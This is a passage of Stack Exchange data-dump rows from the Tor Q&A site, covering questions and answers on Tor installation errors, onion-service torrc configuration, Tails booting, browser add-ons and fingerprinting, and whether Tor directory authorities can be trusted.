  <row Id="20706" PostTypeId="2" ParentId="20585" CreationDate="2019-12-13T07:38:19.867" Score="0" Body="&lt;p&gt;Unfortunately some banks, like UniCredit, at least in Italy, don't know at EU level, blocks access via Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't forbidden officially the use of anonymity proxy systems, but they block all exit nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strange is that they let you login, but at first webpage after you logged, you are kicked out the site and connection is reset with a generic error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you do it 3 times you must activate restore procedure &lt;/p&gt;&#xA;" OwnerUserId="28313" LastActivityDate="2019-12-13T07:38:19.867" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20707" PostTypeId="1" CreationDate="2019-12-13T21:06:49.967" Score="0" ViewCount="76" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ooMhf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ooMhf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Giving error while installing TOR on window 7. ref screenshot. i formatted my latpot and installed new window.before it is working in same window which i installed again&lt;/p&gt;&#xA;" OwnerUserId="28315" LastActivityDate="2022-01-02T01:07:10.667" Title="Giving error while installing TOR on window 7" Tags="|tor-install|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20708" PostTypeId="2" ParentId="20707" CreationDate="2019-12-13T21:11:09.390" Score="0" Body="&lt;p&gt;Download the 32-bit version. Here is the &lt;a href=&quot;https://www.torproject.org/download/languages/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-13T21:11:09.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20709" PostTypeId="2" ParentId="20701" CreationDate="2019-12-17T16:55:34.603" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes. There are steps that both the client and host have to follow. If you are on the host and start Tor Browser, you probably need to make sure that you are an authorized user. You could always access the site locally with localhost but once you use Tor, you are just another Tor user.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See below:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that once you’ve configured client authorization, anyone else&#xA;  with the address won’t be able to access it from this point on. If no&#xA;  authorization is configured, the service will be accessible to anyone&#xA;  with the onion address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you have client auth for Larry, Moe, and Curly; no one else can access the onion service. If you remove Curly's access then only Larry and Moe and can access and not Curly. If you remove Larry, Moe, and Curly then client authorization is disabled and anyone can access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor manual&lt;/a&gt; and &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;v3 Specifications&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2019-12-17T17:56:49.287" LastActivityDate="2019-12-17T17:56:49.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20710" PostTypeId="1" CreationDate="2019-12-17T22:06:10.483" Score="4" ViewCount="264" Body="&lt;p&gt;My question is going to be a bit amateurish (bear with me please) but I have read a fair bit of this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&lt;/a&gt; [1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it didn't answer it. My understanding may be a bit lacking though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the spec, clients without the consensus document will try to fetch it from &quot;fallback servers&quot; and &quot;authority servers&quot; and when they manage that, later they will try to download it from &quot;directory caches&quot;, which are, from my understanding, just nodes that decided to enable that capability and that were voted as such by the autority servers.&#xA;After the clients have downloaded the consensus document, they will try to &quot;download server descriptors that they are missing&quot;. Descriptors are decided as &quot;downloadable&quot; if they are included in the consensus and the &quot;old&quot; descriptors are apparently kept for some time regardless of whether they are included into the consensus document or not.&#xA;However, it is unclear to me whether the clients check the validity of the consensus. The spec is not perfectly clear about this, but let's assume they do because if they don't, it's a disaster because any rogue directory cache could serve some arbitrary data to some clients and clients couldn't do anything about it. It's not clear to me how clients check the validity of the consensus document, but according to [1], the authority servers publish &quot;detached signatures&quot; that could be verified if clients have public keys for them built in. Let's assume that's the case or some other sane protection mechanism is in place.&#xA;Then, according to the spec, the clients &quot;SHOULD NOT use unlisted relays&quot;, so a well-behaving client will use the most recent consensus document that was served to it from an authority server, a fallback server or a directory cache AND it will use the relays listed in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's consider a service trustless if we don't have to trust people running the service. Let's restrict the amount of &quot;people running the service&quot; to the people behind Tor development and operation of Tor directory authority servers and &quot;fallback servers&quot; as stated in [1].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's consider the following situation. Due to bribes, blackmail, threats or other circumstances administrators of Tor directory authority servers and fallback servers start collaborating with an adversary. The adversary also runs some amount of directory cache nodes enough so that all people hit one of them say with 20% probability. The goal of the adversary is to target by total surveillance certain IPs with the following attack, combined with other methods to determine some &quot;interesting IPs&quot;.&#xA;The attack is as such:&#xA;Authority/fallback server software gets modified in a way that it feeds fake consensus documents (with real signatures) to compromised directory caches and targeted clients while behaving in a regular, honest way to the rest of Tor network. Likewise, compromised directory caches feed those fake consensus documents to targeted clients while behaving well for the rest of the network. Naturally, the adversary has also some regular nodes from which the fake consensus is made that don't even need to have their software modified at this point - they are just used for sniffing. Or maybe they could, creating a completely separated Tor network guided by rogue authorities, not that anybody could tell. Finally, the targeted IPs will get completely tracked and sniffed for an arbitrary short period of time or indefinitely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attack described is devastating. The attack is hard to detect because only certain IPs could be targeted by that. The attack doesn't need all authorities to succeed, only the majority of them. The attack is virtually undetectable also by the targeted client if the hostile nodes are as well regular Tor nodes (Sybils). Probably hidden services are not as affected by this as they have end-to-end encrypted connection with a help of an .onion service public key but connecting to the hidden service wouldn't reveal the adversary's plot.&#xA;I find this attack improbable, but realistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question I want to ask, assuming I didn't make a mistake in understanding how Tor works:&#xA;Can we make a point of Tor being trustless or do we have to trust a certain very defined group to use Tor reliably (we don't even assume backdoors in the client software because this we can check at least)?&#xA;And in the end, can Tor be strengthened even more so we don't have to care? It looks like the &quot;trust bottleneck&quot; in a form of &quot;Tor project people&quot; is still there, though a lot of problems from the past have been mitigated.&lt;/p&gt;&#xA;" OwnerUserId="28329" LastActivityDate="2022-05-18T10:03:23.983" Title="Can Tor be relied on as a trustless service? And more" Tags="|deanonymization|directory|attacks|consensus|bootstrapping|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20712" PostTypeId="1" CreationDate="2019-12-18T09:24:25.620" Score="1" ViewCount="6854" Body="&lt;p&gt;When I resize the Tor Browser window the webpage doesn't fill the entire screen. I think that this is a problem with Firefox. How do I fix this?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/prCdU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/prCdU.png&quot; alt=&quot;Even the homepage doesn&amp;#39;t fill the entire window&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LI8Ew.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LI8Ew.png&quot; alt=&quot;The Tor Project website renders incorrectly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28332" LastActivityDate="2022-08-29T08:42:51.103" Title="Page doesn't fill window in Tor Browser" Tags="|tor-browser-bundle|firefox|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20715" PostTypeId="1" CreationDate="2019-12-20T04:34:30.170" Score="1" ViewCount="162" Body="&lt;p&gt;I'm trying to access Blockchain's tor hidden service on tor in order to make a wallet over tor, but everytime I try to access the onion link they give me on blockchain's website, it always times out. It says &quot;If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the web.&quot; Can someone help me. How do you configure your firewall or proxy to make sure Tor can access the web????&lt;/p&gt;&#xA;" OwnerUserId="28346" LastEditorUserId="28346" LastEditDate="2019-12-20T21:44:33.813" LastActivityDate="2019-12-20T21:44:33.813" Title="How do you access Blockchain's tor hidden service?" Tags="|tor-browser-bundle|onion-services|proxy|network-configuration|firewall|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20717" PostTypeId="2" ParentId="17615" CreationDate="2019-12-21T03:55:59.973" Score="0" Body="&lt;p&gt;check &lt;a href=&quot;https://stackoverflow.com/a/15661226/5915328&quot;&gt;this&lt;/a&gt; for python requests package &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pip install -U requests[socks]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14267" LastActivityDate="2019-12-21T03:55:59.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20718" PostTypeId="1" AcceptedAnswerId="20719" CreationDate="2019-12-21T11:21:33.717" Score="2" ViewCount="2871" Body="&lt;p&gt;I've started an NGINX site on the port 8034 which I can access in the Tor Browser as well as a normal browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set the Tor Service to use the port 8034 so as make it an onion site.&#xA;When I start Tor, I don't get any error logs but the generated hostname doesn't work and I can't access it on the tor network, despite the website on NGINX working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the only enabled lines in my torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory /var/lib/tor&#xA;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 8034 [My VPS IP]:8034&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="28355" LastActivityDate="2019-12-21T15:13:03.897" Title="Tor Hidden Service Not Working" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20719" PostTypeId="2" ParentId="20718" CreationDate="2019-12-21T15:13:03.897" Score="1" Body="&lt;p&gt;You need to change your HiddenServicePort line. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first 80 is the port that you expect traffic to come in on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IP address needs to be pointing to your localhost which is 127.0.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the second 80 is the port that your web server is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServicePort 8034 127.0.0.1:8034&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then someone who connects to your onion service will be connecting to &lt;a href=&quot;http://myonionabcxyz.onion:8034&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://myonionabcxyz.onion:8034&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-21T15:13:03.897" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20720" PostTypeId="2" ParentId="15039" CreationDate="2019-12-21T20:16:42.150" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Traffic from exit node to Z is unencrypted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In that case, Z is an http site and not using https (that's getting more rare nowadays since https certificates are now free). I don't see how that's related.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Exit node connects with second node with key. Is it unique (own) key for every second node or all second nodes which are connected with exit node have one and same key?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I assume you mean the middle node. Yes it is unique and generated when the current circuit is created. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If key is unique, can government see what second node made ask to exit node to Z and that way know what first (entry) node made ask to second.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, this should be impossible.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How will government know which second nodes were connected with exit node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They can't/shouldn't be able to know that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It will ask it from provider. Is it real to find X that way or not? I don't understand all aspects of Tor's work. Hope, asked a question clearly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The provider can say. &quot;Yes, using packet analysis, we can see that they are using Tor.&quot; If you are using a bridge aka pluggable transport, they can't even see that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's most important here is to read the Tor &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;design document&lt;/a&gt;. Yes, it is long but it nicely fills in all of the questions that you have in detail.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-21T20:16:42.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20721" PostTypeId="2" ParentId="20703" CreationDate="2019-12-23T08:08:16.837" Score="0" Body="&lt;p&gt;The header you're looking for is &lt;code&gt;Alt-Svc&lt;/code&gt;; the most accessible write-up I've found is &lt;a href=&quot;https://blog.jonaharagon.com/securing-services-with-tor-and-alt-svc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jonah Aragon's &quot;Securing Services with Tor and alt-svc&quot;&lt;/a&gt;, but there are other guides and articles out there about it.  It works much the same as your &lt;code&gt;/.well-known/mirrors.txt&lt;/code&gt; idea.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-12-23T08:08:16.837" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20722" PostTypeId="1" CreationDate="2019-12-23T14:09:14.133" Score="1" ViewCount="74" Body="&lt;p&gt;The browser is saying, &quot;tor failed to establish a tor network connection. &#xA;&quot;Starting failed (no route to host - 66.206.0.82:9001)&lt;/p&gt;&#xA;" OwnerUserId="28358" LastActivityDate="2020-01-16T17:46:40.023" Title="Cannot log into Tor" Tags="|network-configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20723" PostTypeId="2" ParentId="19315" CreationDate="2019-12-24T21:26:39.317" Score="2" Body="&lt;p&gt;Visit &quot;&lt;a href=&quot;http://localhost:7657/i2ptunnelmgr&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hidden Services Manager&lt;/a&gt;&quot; from your &quot;Router Console&quot; homepage or directly (with defaults):&#xA;&lt;a href=&quot;http://localhost:7657/i2ptunnelmgr&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost:7657/i2ptunnelmgr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configured by default are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I2P HTTPS Proxy Port 4445&#xA;Outproxy: outproxy-tor.meeh.i2p&#xA;Description: HTTPS proxy for browsing eepsites and the web&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I2P HTTP Proxy Port 4444&#xA;Outproxy: false.i2p&#xA;Description: HTTP proxy for browsing eepsites and the web&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The outproxy listed is the server used to access clearnet. You can set up a Firefox extension such as &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/switchyomega/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SwitchyOmega&lt;/a&gt; to only use the i2p proxies on *.i2p domains.&lt;/p&gt;&#xA;" OwnerUserId="28362" LastActivityDate="2019-12-24T21:26:39.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20728" PostTypeId="1" CreationDate="2019-12-27T01:24:26.893" Score="2" ViewCount="146" Body="&lt;p&gt;On Linux, I noticed I can run &lt;code&gt;torsocks&lt;/code&gt; by specifying &lt;code&gt;--address&lt;/code&gt; so that it connects to another computer and use that computer's tor connection, e.g downloading a file over tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torsocks --address my.second.server.ip wget site1234567899.onion/example.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On that second computer I can whitelist the 1st computer IP so it can connect to this second computer. I do that by this line in &lt;strong&gt;torrc&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SOCKSPolicy accept my.first.server.ip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But can I do this by a password intead of IP filtering ? There are many password options in &lt;strong&gt;torrc&lt;/strong&gt; and &lt;strong&gt;torsocks.conf&lt;/strong&gt;, not sure which one to use (if any).&lt;/p&gt;&#xA;" OwnerUserId="28330" LastActivityDate="2019-12-27T01:24:26.893" Title="using autentication with torsocks --address" Tags="|configuration|security|socks|torsocks|tor-install|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20729" PostTypeId="1" CreationDate="2019-12-27T19:14:51.863" Score="1" ViewCount="170" Body="&lt;p&gt;so I downloaded tails onto a flash drive successfully(so I think), but then when I went to go run it on my computer, it doesn't show up. It's just my normal start screen and sign in to my computer. One video instructed me to press the delete key when stating it up, so I did that and it still didn't work. Another video tutorial instructed me to click on the F12 button a bunch of times when starting up. I did that and it still didn't work. Can someone help me? What did I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="28346" LastActivityDate="2022-03-17T22:03:20.350" Title="Running Tails on windows" Tags="|tor-browser-bundle|tails|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20730" PostTypeId="1" AcceptedAnswerId="20742" CreationDate="2019-12-27T22:02:08.797" Score="2" ViewCount="510" Body="&lt;p&gt;(I feel insecure in my country after the relays I've been using turned out to be state-compromised. Now I'm starting to doubt the integrity of the directory nodes.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Qu: How do we know &lt;strong&gt;for sure&lt;/strong&gt; that the majority of the nine directory nodes haven't been compromised? Is there a list online?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying to look up who the authorities behind them are, but I cannot seem to find a direct answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="28380" LastEditorUserId="28381" LastEditDate="2020-03-25T18:25:04.310" LastActivityDate="2020-03-30T10:34:43.360" Title="Can we trust those who control the directory nodes of Tor?" Tags="|anonymity|security|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20732" PostTypeId="2" ParentId="20729" CreationDate="2019-12-28T13:38:20.423" Score="0" Body="&lt;p&gt;Google your laptop model for the key needed for the boot menu. They can vary greatly depending on who made your laptop. For example, MSI laptop uses F11. My Thinkpad uses Enter and then F12. My desktop uses only F12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a very old computer, you may need to change the boot option in the BIOS. We can't tell you what that would be so you will need to research that on your own depending on that laptop itself.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-28T13:38:20.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20734" PostTypeId="2" ParentId="20657" CreationDate="2019-12-29T12:03:50.127" Score="1" Body="&lt;p&gt;What is wrong with pure unix-way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kill -9 `pidof tor`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28386" LastActivityDate="2019-12-29T12:03:50.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20735" PostTypeId="2" ParentId="20417" CreationDate="2019-12-29T12:20:25.427" Score="1" Body="&lt;p&gt;Probably, you could use qemu - virtual machine on *BSD.&#xA;Inside it, you could simply run LiveCD Linux, for example Kali-Linux. Thereafter, you might mount host / or / visit torproject.org to fetch fresh TorBrowser. Unzip it,... launch,... voila!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, your profile will be highly divided from major mass of TorBrowser's users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even, full-screen - is noticed in TorBrowser as a bad option, because, attacker could sniff your Monitor's / Screen's Height / Width, by primitive javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the other side, they will be able only see, that you are on *BSD and using default firefox via socks5 of source-builded tor-daemon. Plus Width and Height of your Monitor.... Not so bad, it is not your home address... It is something, that shall be changed in half of year anyway, because of simple system's / browser's updates / upgrades. Plus, you will probably, someday, bough yourself another monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other word, if u are looking to only bypass unfriendly fascist firewall in your beautiful country, you could use any browser via socks5 of default Tor daemon or even just use DigitalOcean to setup openvpn server for yourself.&lt;/p&gt;&#xA;" OwnerUserId="28386" LastActivityDate="2019-12-29T12:20:25.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20739" PostTypeId="1" CreationDate="2019-12-30T19:30:40.640" Score="2" ViewCount="298" Body="&lt;p&gt;I have read many times that you shouldn't use additional add-ons on Tor Browser because it makes your browser easier to identify (more susceptible to fingerprinting). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if &lt;em&gt;every Tor Browser Bundle installation&lt;/em&gt; came with uBlock Origin, uMatrix, and Decentraleyes by default instead of just individual people installing add-ons? Wouldn't that also make fingerprinting harder if so many people have the same configuration? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or what am I missing?&lt;/p&gt;&#xA;" OwnerUserId="28338" LastEditorUserId="28338" LastEditDate="2019-12-30T20:16:48.620" LastActivityDate="2019-12-30T20:56:05.737" Title="Add-ons on Tor Browser - what if it was universal?" Tags="|tor-browser-bundle|configuration|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20740" PostTypeId="2" ParentId="20739" CreationDate="2019-12-30T20:56:05.737" Score="3" Body="&lt;p&gt;You are correct, if everyone had these plugins then everyone would look the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, let me share a couple of quotes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#TBBOtherExtensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some people have suggested we include ad-blocking software or&#xA;  anti-tracking software with Tor Browser. Right now, we do not think&#xA;  that's such a good idea. Tor Browser aims to provide sufficient&#xA;  privacy that additional add-ons to stop ads and trackers are not&#xA;  necessary. Using add-ons like these may cause some sites to break,&#xA;  which we don't want to do. Additionally, maintaining a list of &quot;bad&quot;&#xA;  sites that should be black-listed provides another opportunity to&#xA;  uniquely fingerprint users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/#philosophy&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Design and Implementation of the Tor Browser&lt;/a&gt; document:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;No filters&lt;/strong&gt; Site-specific or filter-based addons such as AdBlock Plus, Request Policy, Ghostery, Priv3, and Sharemenot are to be&#xA;  avoided. We believe that these addons do not add any real privacy to a&#xA;  proper implementation of the above privacy requirements, and that&#xA;  development efforts should be focused on general solutions that&#xA;  prevent tracking by all third parties, rather than a list of specific&#xA;  URLs or hosts.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implementing filter-based blocking directly into the browser, such as&#xA;  done with Firefox' Tracking Protection, does not alleviate the&#xA;  concerns mentioned in the previous paragraph. There is still just a&#xA;  list containing specific URLs and hosts which, in this case, are&#xA;  assembled by Disconnect and adapted by Mozilla.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Trying to resort to filter methods based on machine learning does not&#xA;  solve the problem either: they don't provide a general solution to the&#xA;  tracking problem as they are working probabilistically. Even with a&#xA;  precision rate at 99% and a false positive rate at 0.1% trackers would&#xA;  be missed and sites would be wrongly blocked.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filter-based solutions in general can also introduce strange breakage&#xA;  and cause usability nightmares. For instance, there is a trend to&#xA;  observe that websites start detecting filer extensions and block&#xA;  access to content on them. Coping with this fallout easily leads to&#xA;  just whitelisting the affected domains, hoping that this helps,&#xA;  defeating the purpose of the filter in the first place. Filters will&#xA;  also fail to do their job if an adversary simply registers a new&#xA;  domain or creates a new URL path. Worse still, the unique filter sets&#xA;  that each user creates or installs will provide a wealth of&#xA;  fingerprinting targets.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As a general matter, we are also generally opposed to shipping an&#xA;  always-on Ad blocker with Tor Browser. We feel that this would damage&#xA;  our credibility in terms of demonstrating that we are providing&#xA;  privacy through a sound design alone, as well as damage the acceptance&#xA;  of Tor users by sites that support themselves through advertising&#xA;  revenue.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Users are free to install these addons if they wish, but doing so is&#xA;  not recommended, as it will alter the browser request fingerprint.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-12-30T20:56:05.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20741" PostTypeId="1" CreationDate="2019-12-31T04:48:00.870" Score="0" ViewCount="1835" Body="&lt;p&gt;Downloads stopping (not failing) at 99% was a common topic at&#xA;computer help forums years ago.  There were long lists of possible&#xA;causes, which wasn't very helpful for most people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can download static images like jpg, png, bmp.  Anything else&#xA;abruptly fails at 95-to-99%.  The file host does not matter.  The&#xA;built-in Tor download applet and download managers have the&#xA;same problem.  It's like someone turning off a switch right before&#xA;the download completes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote an old expression, I hope the cure is not worse than&#xA;the disease.&lt;/p&gt;&#xA;" OwnerUserId="27811" LastActivityDate="2020-01-02T13:58:51.547" Title="All Downloads Fail at 95-to-99%" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20742" PostTypeId="2" ParentId="20730" CreationDate="2019-12-31T05:01:08.287" Score="0" Body="&lt;p&gt;You can not trust anyone except yourself, but you don't have to. According to the man page, you can even run your own private tor network! Obviously you have to edit your torrc file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the man page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FallbackDir ipv4address:port orport=port id=fingerprint [weight=num] [ipv6=[ipv6address]:orport]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we’re unable to connect to any directory cache for directory info (usually because we don’t know about any yet) we try a directory authority. Clients also simultaneously try a FallbackDir, to avoid hangs on client startup if a directory authority is down. Clients retry FallbackDirs more often than directory authorities, to reduce the load on the directory authorities. By default, the directory authorities are also FallbackDirs. &lt;strong&gt;Specifying a FallbackDir replaces Tor’s default hard-coded FallbackDirs&lt;/strong&gt; (if any). (See the DirAuthority entry for an explanation of each flag.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UseDefaultFallbackDirs 0|1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Tor’s default hard-coded FallbackDirs (if any). (When a FallbackDir line is present, it replaces the hard-coded FallbackDirs, regardless of the value of UseDefaultFallbackDirs.) (Default: 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DirAuthority [nickname] [flags] ipv4address:port fingerprint&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a nonstandard authoritative directory server at the provided address and port, with the specified key fingerprint. This option can be repeated many times, for multiple authoritative directory servers. Flags are separated by spaces, and determine what kind of an authority this directory is. By default, an authority is not authoritative for any directory style or version unless an appropriate flag is given. Tor will use this authority as a bridge authoritative directory if the &quot;bridge&quot; flag is set. If a flag &quot;orport=port&quot; is given, Tor will use the given port when opening encrypted tunnels to the dirserver. If a flag &quot;weight=num&quot; is given, then the directory server is chosen randomly with probability proportional to that weight (default 1.0). If a flag &quot;v3ident=fp&quot; is given, the dirserver is a v3 directory authority whose v3 long-term signing key has the fingerprint fp. Lastly, if an 